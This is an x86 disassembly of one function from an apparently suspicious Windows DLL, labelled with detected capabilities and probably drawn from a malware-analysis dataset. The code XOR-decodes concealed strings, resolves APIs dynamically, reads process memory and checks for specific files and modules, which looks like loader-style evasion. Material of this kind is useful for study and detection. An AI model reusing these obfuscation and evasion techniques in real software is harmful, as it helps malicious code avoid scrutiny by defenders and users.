Function at 0x1000e520
Capabilities:
Check if file exists
Check os version
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push ebx
mov dword [ebp - 0x258], 0
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
sub dword [ebp + 0xc], 1
jne 0x1000e908
push 0x94
lea eax, [ebp - 0x2f0]
mov dword [0x101aa9ec], ebx
push 0
push eax
call fcn.1002ab80
add esp, 0xc
mov dword [ebp - 0x2f0], 0x94
lea eax, [ebp - 0x2f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x2ec], 6
mov ecx, 1
ja 0x1000e5a8
movzx eax, byte [0x101a34c8]
cmp dword [ebp - 0x2e8], ecx
cmovbe eax, ecx
mov byte [0x101a34c8], al
push 0xff
push 0x1b
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], 0xffffffa1
mov ecx, 0x400000
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xffff8bff
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0x78ffffff
mov dword [ebp - 0xc], 0x8bffff89
mov word [ebp - 8], 0x8ff
mov byte [ebp - 6], 0x51
call fcn.1001c5c0
add esp, 8
test eax, eax
je 0x1000e614
mov ecx, 0x400000
call fcn.10007bd0
push 0
push ecx
push 0
push 0x1000e390
push ecx
call fcn.1001def0
add esp, 0x14
mov edx, 0x9b
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10055360]
xor al, dl
mov byte [ebp + ecx - 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000e620
push esi
push edi
push 0x44a5f058
lea ecx, [ebp - 0x254]
mov byte [ebp - 6], 0
call fcn.10014a50
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x18]
push ecx
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x40]
push 0
push 0x1e
xorps xmm0, xmm0
mov word [ebp - 0x24c], 0
push ecx
push eax
movq qword [ebp - 0x254], xmm0
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 8], 0
mov byte [ebp - 6], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x1e
lea edx, [ebp - 0x40]
mov ecx, 0x1001c6e0
call fcn.1001c450
add esp, 4
lea ecx, [ebp - 0x254]
mov eax, str.uwezbk7wp
sub eax, 0x37dbe243
mov dword [ebp - 0x258], eax
push eax
call fcn.10014ad0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebp - 0x258]
lea ecx, [ebp - 0x254]
call fcn.10014ad0
push eax
call esi
test eax, eax
sete al
test al, al
je 0x1000e6fe
push 0
call edi
push eax
call 0x1001c6e0
jmp dword [pe_dos_header]
mov edx, 0x19
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.rlqklsUCQPPV]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x1000e710
push dword [ebp - 0x258]
lea ecx, [ebp - 0x254]
mov byte [ebp - 6], 0
call fcn.10014ad0
lea ecx, [ebp - 0x14]
push ecx
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0x10
push 0x101a34ac
push eax
mov dword [0x101a34a8], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [0x101a34a8]
lea ecx, [ebp - 0x254]
mov edi, 0x1005539c
add eax, 0xb
sub edi, 0x7f852c57
mov dword [0x101aaf4c], eax
push edi
call fcn.10014b10
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push eax
call esi
test eax, eax
jne 0x1000e7af
push 0x397dee1e
lea ecx, [ebp - 0x25c]
call fcn.10014b80
push eax
call esi
test eax, eax
jne 0x1000e7af
xor al, al
jmp 0x1000e7b1
mov al, 1
test al, al
je 0x1000e8f0
push edi
lea ecx, [ebp - 0x254]
call fcn.10014b10
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
test eax, eax
jne 0x1000e7ed
push 0x397dee1e
lea ecx, [ebp - 0x25c]
call fcn.10014b80
push eax
call edi
test eax, eax
jne 0x1000e7ed
xor al, al
jmp 0x1000e7ef
mov al, 1
test al, al
je 0x1000e8f0
mov edx, 0x90
xor ecx, ecx
nop
mov al, byte [ecx + 0x100553b0]
xor al, dl
mov byte [ebp + ecx - 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000e800
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
call esi
test eax, eax
je 0x1000e863
mov edx, 0xc5
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100553c4]
xor al, dl
mov byte [ebp + ecx - 0x254], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x1000e830
lea eax, [ebp - 0x254]
mov byte [ebp - 0x249], 0
push eax
call esi
test eax, eax
je 0x1000e863
mov al, 1
jmp 0x1000e865
xor al, al
test al, al
je 0x1000e8f0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x248]
push 0x104
push eax
push 0
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x248]
push eax
call esi
push 0x104
lea eax, [ebp - 0x144]
push eax
push ebx
call edi
lea eax, [ebp - 0x144]
push eax
call esi
lea ecx, [ebp - 0x144]
lea eax, [ebp - 0x248]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e8d6
test dl, dl
je 0x1000e8d2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e8d6
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e8b6
xor eax, eax
jmp 0x1000e8db
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1000e8f0
push eax
push ecx
push eax
push 0x1000d2d0
push ecx
call fcn.1001def0
add esp, 0x14
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop ebx
call fcn.10027a55
mov esp, ebp
pop ebp
ret 0xc